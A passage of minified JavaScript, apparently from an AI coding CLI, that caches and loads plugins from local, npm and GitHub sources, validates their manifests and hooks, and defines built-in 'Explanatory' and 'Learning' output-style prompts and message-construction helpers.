${A}. Expected format: owner/repo`);let z=P1(process.env.CLAUDE_CODE_REMOTE)?`https://github.com/${A}.git`:`git@github.com:${A}.git`;return f0K(z,K,q,Y)}async function tI2(A,K){let q=BA();if(!q.existsSync(A))throw Error(`Source path does not exist: ${A}`);kpA(A,K);let Y=H9(K,".git");if(q.existsSync(Y))q.rmSync(Y,{recursive:!0,force:!0})}function eI2(A){let K=Date.now(),q=Math.random().toString(36).substring(2,8),Y;if(typeof A==="string")Y="local";else switch(A.source){case"npm":Y="npm";break;case"pip":Y="pip";break;case"github":Y="github";break;case"url":Y="git";break;default:Y="unknown"}return`temp_${Y}_${K}_${q}`}async function V9A(A,K){let q=BA(),Y=cr();q.mkdirSync(Y);let z=eI2(A),w=H9(Y,z),H=!1;try{if(h(`Caching plugin from source: ${UA(A)} to temporary path ${w}`),H=!0,typeof A==="string")await tI2(A,w);else switch(A.source){case"npm":await oI2(A.package,w);break;case"github":await sI2(A.repo,w,A.ref,A.sha);break;case"url":await f0K(A.url,w,A.ref,A.sha);break;case"pip":throw Error("Python package plugins are not yet supported");default:throw Error("Unsupported plugin source type")}}catch(G){if(H&&q.existsSync(w)){h(`Cleaning up failed installation at ${w}`);try{q.rmSync(w,{recursive:!0,force:!0})}catch(Z){h(`Failed to clean up installation: ${Z}`,{level:"error"})}}throw G}let J=H9(w,".claude-plugin","plugin.json"),O=H9(w,"plugin.json"),X;if(q.existsSync(J))try{let G=q.readFileSync(J,{encoding:"utf-8"}),Z=G6(G),W=X7A.safeParse(Z);if(W.success)X=W.data;else{let D=W.error.issues.map((j)=>`${j.path.join(".")}: ${j.message}`).join(", ");throw h(`Invalid manifest at ${J}: ${D}`,{level:"error"}),Error(`Plugin has an invalid manifest file at ${J}. Validation errors: ${D}`)}}catch(G){if(G instanceof Error&&G.message.includes("invalid manifest file"))throw G;let Z=G instanceof Error?G.message:String(G);throw h(`Failed to parse manifest at ${J}: ${Z}`,{level:"error"}),Error(`Plugin has a corrupt manifest file at ${J}. JSON parse error: ${Z}`)}else if(q.existsSync(O))try{let G=q.readFileSync(O,{encoding:"utf-8"}),Z=G6(G),W=X7A.safeParse(Z);if(W.success)X=W.data;else{let D=W.error.issues.map((j)=>`${j.path.join(".")}: ${j.message}`).join(", ");throw h(`Invalid legacy manifest at ${O}: ${D}`,{level:"error"}),Error(`Plugin has an invalid manifest file at ${O}. Validation errors: ${D}`)}}catch(G){if(G instanceof Error&&G.message.includes("invalid manifest file"))throw G;let Z=G instanceof Error?G.message:String(G);throw h(`Failed to parse legacy manifest at ${O}: ${Z}`,{level:"error"}),Error(`Plugin has a corrupt manifest file at ${O}. JSON parse error: ${Z}`)}else X=K?.manifest||{name:z,description:`Plugin cached from ${typeof A==="string"?A:A.source}`};let $=X.name.replace(/[^a-zA-Z0-9-_]/g,"-"),_=H9(Y,$);if(q.existsSync(_))h(`Removing old cached version at ${_}`),q.rmSync(_,{recursive:!0,force:!0});return q.renameSync(w,_),h(`Successfully cached plugin ${X.name} to ${_}`),{path:_,manifest:X}}function nN1(A,K,q){let Y=BA();if(!Y.existsSync(A))return{name:K,description:`Plugin from ${q}`};try{let z=Y.readFileSync(A,{encoding:"utf-8"}),w=G6(z),H=X7A.safeParse(w);if(H.success)return H.data;let J=H.error.issues.map((O)=>`${O.path.join(".")}: ${O.message}`).join(", ");throw h(`Plugin ${K} has an invalid manifest file at ${A}. Validation errors: ${J}`,{level:"error"}),Error(`Plugin ${K} has an invalid manifest file at ${A}. Validation errors: ${J} Please fix the manifest or remove it. The plugin cannot load with an invalid manifest.`)}catch(z){if(z instanceof Error&&z.message.includes("invalid manifest file"))throw z;let w=z instanceof Error?z.message:String(z);throw h(`Plugin ${K} has a corrupt manifest file at ${A}. Parse error: ${w}`,{level:"error"}),Error(`Plugin ${K} has a corrupt manifest file at ${A}. JSON parse error: ${w} Please check the file for syntax errors.`)}}function M0K(A,K){let q=BA();if(!q.existsSync(A))throw Error(`Hooks file not found at ${A} for plugin ${K}. If the manifest declares hooks, the file must exist.`);let Y=q.readFileSync(A,{encoding:"utf-8"}),z=G6(Y);return Vh4.parse(z).hooks}function N0K(A,K,q,Y,z=!0){let w=BA(),H=[],J=H9(A,".claude-plugin","plugin.json"),O=nN1(J,Y,K),X={name:O.name,manifest:O,path:A,source:K,repository:K,enabled:q},$=H9(A,"commands");if(!O.commands&&w.existsSync($))X.commandsPath=$;if(O.commands){let M=Object.values(O.commands)[0];if(typeof O.commands==="object"&&!Array.isArray(O.commands)&&M&&typeof M==="object"&&(("source"in M)||("content"in M))){let P={},f=[];for(let[N,T]of Object.entries(O.commands)){if(!T||typeof T!=="object")continue;if(T.source){let C=H9(A,T.source);if(w.existsSync(C))f.push(C),P[N]=T;else h(`Command ${N} path ${T.source} specified in manifest but not found at ${C} for ${O.name}`,{level:"warn"}),KA(Error(`Plugin component file not found: ${C} for ${O.name}`)),H.push({type:"path-not-found",source:K,plugin:O.name,path:C,component:"commands"})}else if(T.content)P[N]=T}if(f.length>0)X.commandsPaths=f;if(Object.keys(P).length>0)X.commandsMetadata=P}else{let P=Array.isArray(O.commands)?O.commands:[O.commands],f=[];for(let N of P){if(typeof N!=="string"){h(`Unexpected command format in manifest for ${O.name}`,{level:"error"});continue}let T=H9(A,N);if(w.existsSync(T))f.push(T);else h(`Command path ${N} specified in manifest but not found at ${T} for ${O.name}`,{level:"warn"}),KA(Error(`Plugin component file not found: ${T} for ${O.name}`)),H.push({type:"path-not-found",source:K,plugin:O.name,path:T,component:"commands"})}if(f.length>0)X.commandsPaths=f}}let _=H9(A,"agents");if(!O.agents&&w.existsSync(_))X.agentsPath=_;if(O.agents){let M=Array.isArray(O.agents)?O.agents:[O.agents],P=[];for(let f of M){let N=H9(A,f);if(w.existsSync(N))P.push(N);else h(`Agent path ${f} specified in manifest but not found at ${N} for ${O.name}`,{level:"warn"}),KA(Error(`Plugin component file not found: ${N} for ${O.name}`)),H.push({type:"path-not-found",source:K,plugin:O.name,path:N,component:"agents"})}if(P.length>0)X.agentsPaths=P}let G=H9(A,"skills");if(!O.skills&&w.existsSync(G))X.skillsPath=G;if(O.skills){let M=Array.isArray(O.skills)?O.skills:[O.skills],P=[];for(let f of M){let N=H9(A,f);if(w.existsSync(N))P.push(N);else h(`Skill path ${f} specified in manifest but not found at ${N} for ${O.name}`,{level:"warn"}),KA(Error(`Plugin component file not found: ${N} for ${O.name}`)),H.push({type:"path-not-found",source:K,plugin:O.name,path:N,component:"skills"})}if(P.length>0)X.skillsPaths=P}let Z=H9(A,"output-styles");if(!O.outputStyles&&w.existsSync(Z))X.outputStylesPath=Z;if(O.outputStyles){let M=Array.isArray(O.outputStyles)?O.outputStyles:[O.outputStyles],P=[];for(let f of M){let N=H9(A,f);if(w.existsSync(N))P.push(N);else h(`Output style path ${f} specified in manifest but not found at ${N} for ${O.name}`,{level:"warn"}),KA(Error(`Plugin component file not found: ${N} for ${O.name}`)),H.push({type:"path-not-found",source:K,plugin:O.name,path:N,component:"output-styles"})}if(P.length>0)X.outputStylesPaths=P}let W,D=new Set,j=H9(A,"hooks","hooks.json");if(w.existsSync(j))try{W=M0K(j,O.name);try{D.add(w.realpathSync(j))}catch{D.add(j)}h(`Loaded hooks from standard location for plugin ${O.name}: ${j}`)}catch(M){let P=M instanceof Error?M.message:String(M);h(`Failed to load hooks for ${O.name}: ${P}`,{level:"error"}),KA(M instanceof Error?M:Error(P)),H.push({type:"hook-load-failed",source:K,plugin:O.name,hookPath:j,reason:P})}if(O.hooks){let M=Array.isArray(O.hooks)?O.hooks:[O.hooks];for(let P of M)if(typeof P==="string"){let f=H9(A,P);if(!w.existsSync(f)){h(`Hooks file ${P} specified in manifest but not found at ${f} for ${O.name}`,{level:"error"}),KA(Error(`Plugin component file not found: ${f} for ${O.name}`)),H.push({type:"path-not-found",source:K,plugin:O.name,path:f,component:"hooks"});continue}let N;try{N=w.realpathSync(f)}catch{N=f}if(D.has(N)){if(h(`Skipping duplicate hooks file for plugin ${O.name}: ${P} (resolves to already-loaded file: ${N})`),z){let T=`Duplicate hooks file detected: ${P} resolves to already-loaded file ${N}. The standard hooks/hooks.json is loaded automatically, so manifest.hooks should only reference additional hook files.`;KA(Error(T)),H.push({type:"hook-load-failed",source:K,plugin:O.name,hookPath:f,reason:T})}continue}try{let T=M0K(f,O.name);try{W=P0K(W,T),D.add(N),h(`Loaded and merged hooks from manifest for plugin ${O.name}: ${P}`)}catch(C){let R=C instanceof Error?C.message:String(C);h(`Failed to merge hooks from ${P} for ${O.name}: ${R}`,{level:"error"}),KA(C instanceof Error?C:Error(R)),H.push({type:"hook-load-failed",source:K,plugin:O.name,hookPath:f,reason:`Failed to merge: ${R}`})}}catch(T){let C=T instanceof Error?T.message:String(T);h(`Failed to load hooks from ${P} for ${O.name}: ${C}`,{level:"error"}),KA(T instanceof Error?T:Error(C)),H.push({type:"hook-load-failed",source:K,plugin:O.name,hookPath:f,reason:C})}}else if(typeof P==="object")W=P0K(W,P)}if(W)X.hooksConfig=W;return{plugin:X,errors:H}}function P0K(A,K){if(!A)return K;let q={...A};for(let[Y,z]of Object.entries(K))if(!q[Y])q[Y]=z;else q[Y]=[...q[Y]||[],...z];return q}async function AS2(){let K=J8().enabledPlugins||{},q=[],Y=[],z=Object.entries(K).filter(([H,J])=>{return J7A.safeParse(H).success&&J!==void 0}),w=await U3();for(let[H,J]of z)try{let[O,X]=H.split("@"),$=w[X];if($&&!_7A($.source)){let Z=GSA($.source),W=$7A()||[];Y.push({type:"marketplace-blocked-by-policy",source:H,plugin:O,marketplace:X,blockedByBlocklist:Z,allowedSources:Z?[]:W.map((D)=>T$A(D))});continue}let _=ou6(H);if(!_){Y.push({type:"plugin-not-found",source:H,pluginId:O,marketplace:X});continue}let G=await KS2(_.entry,_.marketplaceInstallLocation,H,J===!0,Y);if(G)q.push(G)}catch(O){let X=O instanceof Error?O:Error(String(O));KA(X),Y.push({type:"generic-error",source:H,error:X.message})}return{plugins:q,errors:Y}}async function KS2(A,K,q,Y,z){h(`Loading plugin ${A.name} from source: ${UA(A.source)}`);let w=BA(),H=[],J;if(typeof A.source==="string"){let G=w.statSync(K).isDirectory()?K:H9(K,".."),Z=H9(G,A.source);if(!w.existsSync(Z)){let W=Error(`Plugin path not found: ${Z}`);return h(`Plugin path not found: ${Z}`,{level:"error"}),KA(W),z.push({type:"generic-error",source:q,error:`Plugin directory not found at path: ${Z}. Check that the marketplace entry has the correct path.`}),null}try{let W=H9(Z,".claude-plugin","plugin.json"),D;try{D=nN1(W,A.name,A.source)}catch{}let j=await id(q,A.source,D,G,A.version);J=await iN1(Z,q,j,A,G),h(`Copied local plugin ${A.name} to versioned cache: ${J}`)}catch(W){let D=W instanceof Error?W.message:String(W);h(`Failed to copy plugin ${A.name} to versioned cache: ${D}. Using marketplace path.`,{level:"warn"}),J=Z}}else try{let G=await id(q,A.source,void 0,void 0,A.version),Z=rx(q,G);if(w.existsSync(Z))h(`Using versioned cached plugin ${A.name} from ${Z}`),J=Z;else{let W=await V9A(A.source,{manifest:{name:A.name}}),D=await id(q,A.source,W.manifest,W.path,A.version);if(J=await iN1(W.path,q,D,A,void 0),W.path!==J)w.rmSync(W.path,{recursive:!0,force:!0})}}catch(G){let Z=G instanceof Error?G.message:String(G);return h(`Failed to cache plugin ${A.name}: ${Z}`,{level:"error"}),KA(G instanceof Error?G:Error(Z)),z.push({type:"generic-error",source:q,error:`Failed to download/cache plugin ${A.name}: ${Z}`}),null}let O=H9(J,".claude-plugin","plugin.json"),X=w.existsSync(O),{plugin:$,errors:_}=N0K(J,q,Y,A.name,A.strict??!0);if(H.push(..._),typeof A.source==="object"&&"sha"in A.source&&A.source.sha)$.sha=A.source.sha;if(!X){if($.manifest={...A,id:void 0,source:void 0,strict:void 0},$.name=$.manifest.name,A.commands){let G=Object.values(A.commands)[0];if(typeof A.commands==="object"&&!Array.isArray(A.commands)&&G&&typeof G==="object"&&(("source"in G)||("content"in G))){let Z={},W=[];for(let[D,j]of Object.entries(A.commands)){if(!j||typeof j!=="object"||!j.source)continue;let M=H9(J,j.source);if(w.existsSync(M))W.push(M),Z[D]=j;else h(`Command ${D} path ${j.source} from marketplace entry not found at ${M} for ${A.name}`,{level:"warn"}),KA(Error(`Plugin component file not found: ${M} for ${A.name}`)),H.push({type:"path-not-found",source:q,plugin:A.name,path:M,component:"commands"})}if(W.length>0)$.commandsPaths=W,$.commandsMetadata=Z}else{let Z=Array.isArray(A.commands)?A.commands:[A.commands],W=[];for(let D of Z){if(typeof D!=="string"){h(`Unexpected command format in marketplace entry for ${A.name}`,{level:"error"});continue}let j=H9(J,D);if(w.existsSync(j))W.push(j);else h(`Command path ${D} from marketplace entry not found at ${j} for ${A.name}`,{level:"warn"}),KA(Error(`Plugin component file not found: ${j} for ${A.name}`)),H.push({type:"path-not-found",source:q,plugin:A.name,path:j,component:"commands"})}if(W.length>0)$.commandsPaths=W}}if(A.agents){let G=Array.isArray(A.agents)?A.agents:[A.agents],Z=[];for(let W of G){let D=H9(J,W);if(w.existsSync(D))Z.push(D);else h(`Agent path ${W} from marketplace entry not found at ${D} for ${A.name}`,{level:"warn"}),KA(Error(`Plugin component file not found: ${D} for ${A.name}`)),H.push({type:"path-not-found",source:q,plugin:A.name,path:D,component:"agents"})}if(Z.length>0)$.agentsPaths=Z}if(A.skills){h(`Processing ${Array.isArray(A.skills)?A.skills.length:1} skill paths for plugin ${A.name}`);let G=Array.isArray(A.skills)?A.skills:[A.skills],Z=[];for(let W of G){let D=H9(J,W);if(h(`Checking skill path: ${W} -> ${D} (exists: ${w.existsSync(D)})`),w.existsSync(D))Z.push(D);else h(`Skill path ${W} from marketplace entry not found at ${D} for ${A.name}`,{level:"warn"}),KA(Error(`Plugin component file not found: ${D} for ${A.name}`)),H.push({type:"path-not-found",source:q,plugin:A.name,path:D,component:"skills"})}if(h(`Found ${Z.length} valid skill paths for plugin ${A.name}, setting skillsPaths`),Z.length>0)$.skillsPaths=Z}else h(`Plugin ${A.name} has no entry.skills defined`);if(A.outputStyles){let G=Array.isArray(A.outputStyles)?A.outputStyles:[A.outputStyles],Z=[];for(let W of G){let D=H9(J,W);if(w.existsSync(D))Z.push(D);else h(`Output style path ${W} from marketplace entry not found at ${D} for ${A.name}`,{level:"warn"}),KA(Error(`Plugin component file not found: ${D} for ${A.name}`)),H.push({type:"path-not-found",source:q,plugin:A.name,path:D,component:"output-styles"})}if(Z.length>0)$.outputStylesPaths=Z}if(A.hooks)$.hooksConfig=A.hooks}else if(!A.strict&&X&&(A.commands||A.agents||A.skills||A.hooks||A.outputStyles)){let G=Error(`Plugin ${A.name} has both plugin.json and marketplace manifest entries for commands/agents/skills/hooks/outputStyles. This is a conflict.`);return h(`Plugin ${A.name} has both plugin.json and marketplace manifest entries for commands/agents/skills/hooks/outputStyles. This is a conflict.`,{level:"error"}),KA(G),z.push({type:"generic-error",source:q,error:`Plugin ${A.name} has conflicting manifests: both plugin.json and marketplace entry specify components. Set strict: true in marketplace entry or remove component specs from one location.`}),null}else if(X){if(A.commands){let G=Object.values(A.commands)[0];if(typeof A.commands==="object"&&!Array.isArray(A.commands)&&G&&typeof G==="object"&&(("source"in G)||("content"in G))){let Z={...$.commandsMetadata||{}},W=[];for(let[D,j]of Object.entries(A.commands)){if(!j||typeof j!=="object"||!j.source)continue;let M=H9(J,j.source);if(w.existsSync(M))W.push(M),Z[D]=j;else h(`Command ${D} path ${j.source} from marketplace entry not found at ${M} for ${A.name}`,{level:"warn"}),KA(Error(`Plugin component file not found: ${M} for ${A.name}`)),H.push({type:"path-not-found",source:q,plugin:A.name,path:M,component:"commands"})}if(W.length>0)$.commandsPaths=[...$.commandsPaths||[],...W],$.commandsMetadata=Z}else{let Z=Array.isArray(A.commands)?A.commands:[A.commands],W=[];for(let D of Z){if(typeof D!=="string"){h(`Unexpected command format in marketplace entry for ${A.name}`,{level:"error"});continue}let j=H9(J,D);if(w.existsSync(j))W.push(j);else h(`Command path ${D} from marketplace entry not found at ${j} for ${A.name}`,{level:"warn"}),KA(Error(`Plugin component file not found: ${j} for ${A.name}`)),H.push({type:"path-not-found",source:q,plugin:A.name,path:j,component:"commands"})}if(W.length>0)$.commandsPaths=[...$.commandsPaths||[],...W]}}if(A.agents){let G=Array.isArray(A.agents)?A.agents:[A.agents],Z=[];for(let W of G){let D=H9(J,W);if(w.existsSync(D))Z.push(D);else h(`Agent path ${W} from marketplace entry not found at ${D} for ${A.name}`,{level:"warn"}),KA(Error(`Plugin component file not found: ${D} for ${A.name}`)),H.push({type:"path-not-found",source:q,plugin:A.name,path:D,component:"agents"})}if(Z.length>0)$.agentsPaths=[...$.agentsPaths||[],...Z]}if(A.skills){let G=Array.isArray(A.skills)?A.skills:[A.skills],Z=[];for(let W of G){let D=H9(J,W);if(w.existsSync(D))Z.push(D);else h(`Skill path ${W} from marketplace entry not found at ${D} for ${A.name}`,{level:"warn"}),KA(Error(`Plugin component file not found: ${D} for ${A.name}`)),H.push({type:"path-not-found",source:q,plugin:A.name,path:D,component:"skills"})}if(Z.length>0)$.skillsPaths=[...$.skillsPaths||[],...Z]}if(A.outputStyles){let G=Array.isArray(A.outputStyles)?A.outputStyles:[A.outputStyles],Z=[];for(let W of G){let D=H9(J,W);if(w.existsSync(D))Z.push(D);else h(`Output style path ${W} from marketplace entry not found at ${D} for ${A.name}`,{level:"warn"}),KA(Error(`Plugin component file not found: ${D} for ${A.name}`)),H.push({type:"path-not-found",source:q,plugin:A.name,path:D,component:"output-styles"})}if(Z.length>0)$.outputStylesPaths=[...$.outputStylesPaths||[],...Z]}if(A.hooks)$.hooksConfig={...$.hooksConfig||{},...A.hooks}}return z.push(...H),$}async function qS2(A){if(A.length===0)return{plugins:[],errors:[]};let K=[],q=[],Y=BA();for(let[z,w]of A.entries())try{let H=iI2(w);if(!Y.existsSync(H)){h(`Plugin path does not exist: ${H}, skipping`,{level:"warn"}),q.push({type:"path-not-found",source:`inline[${z}]`,path:H,component:"commands"});continue}let J=nI2(H),{plugin:O,errors:X}=N0K(H,`${J}@inline`,!0,J);O.source=`${O.name}@inline`,O.repository=`${O.name}@inline`,K.push(O),q.push(...X),h(`Loaded inline plugin from path: ${O.name}`)}catch(H){let J=H instanceof Error?H.message:String(H);h(`Failed to load session plugin from ${w}: ${J}`,{level:"warn"}),q.push({type:"generic-error",source:`inline[${z}]`,error:`Failed to load plugin: ${J}`})}if(K.length>0)h(`Loaded ${K.length} session-only plugins from --plugin-dir`);return{plugins:K,errors:q}}function aS(){SY.cache?.clear?.()}var SY;var s0=k(()=>{p7();e6();q6();ID();Z1();C1();I8();TJ();pr();CK();l6();$SA();lN1();g2();nd();b1();SY=z6(async()=>{let A=await AS2(),K=[...A.plugins],q=[...A.errors],Y=_zA();if(Y.length>0){let w=await qS2(Y);K.push(...w.plugins),q.push(...w.errors)}h(`Found ${K.length} plugins (${K.filter((w)=>w.enabled).length} enabled, ${K.filter((w)=>!w.enabled).length} disabled)`);let z=K.filter((w)=>w.enabled);if(z.length>0)l7("plugins");return{enabled:z,disabled:K.filter((w)=>!w.enabled),errors:q}})});import{join as YS2,basename as zS2}from"path";function T0K(A,K,q){let Y=[],z=BA();function w(H){try{let J=z.readdirSync(H);for(let O of J){let X=YS2(H,O.name);if(O.isDirectory())w(X);else if(O.isFile()&&O.name.endsWith(".md")){let $=v0K(X,K,q);if($)Y.push($)}}}catch(J){h(`Failed to scan output-styles directory ${H}: ${J}`,{level:"error"})}}return w(A),Y}function v0K(A,K,q){let Y=BA();if(Uh(Y,A,q))return null;try{let z=Y.readFileSync(A,{encoding:"utf-8"}),{frontmatter:w,content:H}=J_(z),J=zS2(A,".md"),O=w.name||J,X=`${K}:${O}`,$=w.description||rQ(H,`Output style from ${K} plugin`),_=w["force-for-plugin"],G=_===!0||_==="true"?!0:_===!1||_==="false"?!1:void 0;return{name:X,description:$,prompt:H.trim(),source:"plugin",forceForPlugin:G}}catch(z){return h(`Failed to load output style from ${A}: ${z}`,{level:"error"}),null}}function nu6(){AB6.cache?.clear?.()}var AB6;var QN1=k(()=>{p7();e6();s0();Z1();nQ();aQ();AB6=z6(async()=>{let{enabled:A,errors:K}=await SY(),q=[];if(K.length>0)h(`Plugin loading errors: ${K.map((Y)=>_M(Y)).join(", ")}`);for(let Y of A){let z=new Set;if(Y.outputStylesPath)try{let w=T0K(Y.outputStylesPath,Y.name,z);if(q.push(...w),w.length>0)h(`Loaded ${w.length} output styles from plugin ${Y.name} default directory`)}catch(w){h(`Failed to load output styles from plugin ${Y.name} default directory: ${w}`,{level:"error"})}if(Y.outputStylesPaths)for(let w of Y.outputStylesPaths)try{let J=BA().statSync(w);if(J.isDirectory()){let O=T0K(w,Y.name,z);if(q.push(...O),O.length>0)h(`Loaded ${O.length} output styles from plugin ${Y.name} custom path: ${w}`)}else if(J.isFile()&&w.endsWith(".md")){let O=v0K(w,Y.name,z);if(O)q.push(O),h(`Loaded output style from plugin ${Y.name} custom file: ${w}`)}}catch(H){h(`Failed to load output styles from plugin ${Y.name} custom path ${w}: ${H}`,{level:"error"})}}return h(`Total plugin output styles loaded: ${q.length}`),q})});import{basename as wS2}from"path";var E0K;var k0K=k(()=>{p7();C1();aQ();QN1();Z1();E0K=z6(async(A)=>{try{return(await oQ("output-styles",A)).map(({filePath:Y,frontmatter:z,content:w,source:H})=>{try{let O=wS2(Y).replace(/\.md$/,""),X=z.name||O,$=z.description||rQ(w,`Custom ${O} output style`),_=z["keep-coding-instructions"],G=_===!0||_==="true"?!0:_===!1||_==="false"?!1:void 0;if(z["force-for-plugin"]!==void 0)h(`Output style "${X}" has force-for-plugin set, but this option only applies to plugin output styles. Ignoring.`,{level:"warn"});return{name:X,description:$,prompt:w.trim(),source:H,keepCodingInstructions:G}}catch(J){return KA(J instanceof Error?J:Error(String(J))),null}}).filter((Y)=>Y!==null)}catch(K){return KA(K instanceof Error?K:Error(String(K))),[]}})});async function f9A(A){let K=await E0K(A),q=await AB6(),Y={...F3A},z=K.filter((O)=>O.source==="policySettings"),w=K.filter((O)=>O.source==="userSettings"),H=K.filter((O)=>O.source==="projectSettings"),J=[q,w,H,z];for(let O of J)for(let X of O)Y[X.name]={name:X.name,description:X.description,prompt:X.prompt,source:X.source,keepCodingInstructions:X.keepCodingInstructions,forceForPlugin:X.forceForPlugin};return Y}async function L0K(){let A=await f9A(x1()),K=Object.values(A).filter((w)=>w!==null&&w.source==="plugin"&&w.forceForPlugin===!0),q=K[0];if(q){if(K.length>1)h(`Multiple plugins have forced output styles: ${K.map((w)=>w.name).join(", ")}. Using: ${q.name}`,{level:"warn"});return h(`Using forced plugin output style: ${q.name}`),q}let z=J8()?.outputStyle||nG;return A[z]??null}var C0K,nG="default",F3A;var Am=k(()=>{g4();I8();k0K();QN1();y4();Z1();C0K=` ## Insights In order to encourage learning, before and after writing code, always provide brief educational explanations about implementation choices using (with backticks): "\`${eA.star} Insight ─────────────────────────────────────\` [2-3 key educational points] \`─────────────────────────────────────────────────\`" These insights should be included in the conversation, not in the codebase. You should generally focus on interesting insights that are specific to the codebase or the code you just wrote, rather than general programming concepts.`,F3A={[nG]:null,Explanatory:{name:"Explanatory",source:"built-in",description:"Claude explains its implementation choices and codebase patterns",keepCodingInstructions:!0,prompt:`You are an interactive CLI tool that helps users with software engineering tasks. In addition to software engineering tasks, you should provide educational insights about the codebase along the way. You should be clear and educational, providing helpful explanations while remaining focused on the task. Balance educational content with task completion. When providing insights, you may exceed typical length constraints, but remain focused and relevant. # Explanatory Style Active ${C0K}`},Learning:{name:"Learning",source:"built-in",description:"Claude pauses and asks you to write small pieces of code for hands-on practice",keepCodingInstructions:!0,prompt:`You are an interactive CLI tool that helps users with software engineering tasks. In addition to software engineering tasks, you should help users learn more about the codebase through hands-on practice and educational insights. You should be collaborative and encouraging. Balance task completion with learning by requesting user input for meaningful design decisions while handling routine implementation yourself. # Learning Style Active ## Requesting Human Contributions In order to encourage learning, ask the human to contribute 2-10 line code pieces when generating 20+ lines involving: - Design decisions (error handling, data structures) - Business logic with multiple valid approaches - Key algorithms or interface definitions **TodoList Integration**: If using a TodoList for the overall task, include a specific todo item like "Request human input on [specific decision]" when planning to request human input. This ensures proper task tracking. Note: TodoList is not required for all tasks. Example TodoList flow: ✓ "Set up component structure with placeholder for logic" ✓ "Request human collaboration on decision logic implementation" ✓ "Integrate contribution and complete feature" ### Request Format \`\`\` ${eA.bullet} **Learn by Doing** **Context:** [what's built and why this decision matters] **Your Task:** [specific function/section in file, mention file and TODO(human) but do not include line numbers] **Guidance:** [trade-offs and constraints to consider] \`\`\` ### Key Guidelines - Frame contributions as valuable design decisions, not busy work - You must first add a TODO(human) section into the codebase with your editing tools before making the Learn by Doing request - Make sure there is one and only one TODO(human) section in the code - Don't take any action or output anything after the Learn by Doing request. Wait for human implementation before proceeding. ### Example Requests **Whole Function Example:** \`\`\` ${eA.bullet} **Learn by Doing** **Context:** I've set up the hint feature UI with a button that triggers the hint system. The infrastructure is ready: when clicked, it calls selectHintCell() to determine which cell to hint, then highlights that cell with a yellow background and shows possible values. The hint system needs to decide which empty cell would be most helpful to reveal to the user. **Your Task:** In sudoku.js, implement the selectHintCell(board) function. Look for TODO(human). This function should analyze the board and return {row, col} for the best cell to hint, or null if the puzzle is complete. **Guidance:** Consider multiple strategies: prioritize cells with only one possible value (naked singles), or cells that appear in rows/columns/boxes with many filled cells. You could also consider a balanced approach that helps without making it too easy. The board parameter is a 9x9 array where 0 represents empty cells. \`\`\` **Partial Function Example:** \`\`\` ${eA.bullet} **Learn by Doing** **Context:** I've built a file upload component that validates files before accepting them. The main validation logic is complete, but it needs specific handling for different file type categories in the switch statement. **Your Task:** In upload.js, inside the validateFile() function's switch statement, implement the 'case "document":' branch. Look for TODO(human). This should validate document files (pdf, doc, docx). **Guidance:** Consider checking file size limits (maybe 10MB for documents?), validating the file extension matches the MIME type, and returning {valid: boolean, error?: string}. The file object has properties: name, size, type. \`\`\` **Debugging Example:** \`\`\` ${eA.bullet} **Learn by Doing** **Context:** The user reported that number inputs aren't working correctly in the calculator. I've identified the handleInput() function as the likely source, but need to understand what values are being processed. **Your Task:** In calculator.js, inside the handleInput() function, add 2-3 console.log statements after the TODO(human) comment to help debug why number inputs fail. **Guidance:** Consider logging: the raw input value, the parsed result, and any validation state. This will help us understand where the conversion breaks. \`\`\` ### After Contributions Share one insight connecting their code to broader patterns or system effects. Avoid praise or repetition. ## Insights ${C0K}`}}});function R0K(A,K){let q=new Set;for(let Y of A)if(!K.has(Y))q.add(Y);return q}function y0K(A,K){for(let q of A)if(!K.has(q))return!1;return!0}function I0K(){if(process.env.CLAUDE_CODE_PLAN_V2_AGENT_COUNT){let q=parseInt(process.env.CLAUDE_CODE_PLAN_V2_AGENT_COUNT,10);if(!isNaN(q)&&q>0&&q<=10)return q}let A=Uq(),K=tjA();if(A==="max"&&K==="default_claude_max_20x")return 3;if(A==="enterprise"||A==="team")return 3;return 1}function S0K(){if(process.env.CLAUDE_CODE_PLAN_V2_EXPLORE_AGENT_COUNT){let A=parseInt(process.env.CLAUDE_CODE_PLAN_V2_EXPLORE_AGENT_COUNT,10);if(!isNaN(A)&&A>0&&A<=10)return A}return 3}function v_(){let A=process.env.CLAUDE_CODE_PLAN_MODE_INTERVIEW_PHASE;if(P1(A))return!0;if(J2(A))return!1;return G4("tengu_plan_mode_interview_phase",!1)}var CpA=k(()=>{B7();x4();l6()});import{randomUUID as WP}from"crypto";function HS2(){return _H(),Rg(F4K)}function x0K(A){return`Permission to use ${A} has been denied. ${JS2}`}function CV1(A){return A.type!=="progress"&&A.type!=="attachment"&&A.type!=="system"&&Array.isArray(A.message.content)&&A.message.content[0]?.type==="text"&&L_6.has(A.message.content[0].text)}function OS2(A){return A.type==="assistant"&&A.isApiErrorMessage===!0&&A.message.model===TGA}function rf(A){let K=A.filter((q)=>q.type==="assistant");return KD(K)}function ypA(A){for(let K=A.length-1;K>=0;K--){let q=A[K];if(q&&q.type==="assistant"){let z=q.message.content;if(Array.isArray(z))return z.some((w)=>w.type==="tool_use")}}return!1}function u0K({content:A,isApiErrorMessage:K=!1,apiError:q,error:Y,usage:z={input_tokens:0,output_tokens:0,cache_creation_input_tokens:0,cache_read_input_tokens:0,server_tool_use:{web_search_requests:0,web_fetch_requests:0},service_tier:null,cache_creation:{ephemeral_1h_input_tokens:0,ephemeral_5m_input_tokens:0}}}){return{type:"assistant",uuid:WP(),timestamp:new Date().toISOString(),message:{id:WP(),container:null,model:TGA,role:"assistant",stop_reason:"stop_sequence",stop_sequence:"",type:"message",usage:z,content:A,context_management:null},requestId:void 0,apiError:q,error:Y,isApiErrorMessage:K}}function WL({content:A,usage:K}){return u0K({content:typeof A==="string"?[{type:"text",text:A===""?wf:A}]:A,usage:K})}function D2({content:A,apiError:K,error:q}){return u0K({content:[{type:"text",text:A===""?wf:A}],isApiErrorMessage:!0,apiError:K,error:q})}function t1({content:A,isMeta:K,isVisibleInTranscriptOnly:q,isCompactSummary:Y,toolUseResult:z,mcpMeta:w,uuid:H,thinkingMetadata:J,timestamp:O,todos:X,imagePasteIds:$,sourceToolAssistantUUID:_,permissionMode:G}){return{type:"user",message:{role:"user",content:A||wf},isMeta:K,isVisibleInTranscriptOnly:q,isCompactSummary:Y,uuid:H??WP(),timestamp:O??new Date().toISOString(),toolUseResult:z,mcpMeta:w,thinkingMetadata:J,todos:X,imagePasteIds:$,sourceToolAssistantUUID:_,permissionMode:G}}function XP({inputString:A,precedingInputBlocks:K}){if(K.length===0)return A;return[...K,{text:A,type:"text"}]}function wPA({toolUse:A=!1}){return t1({content:[{type:"text",text:A?bf:ut}]})}function kW(){return 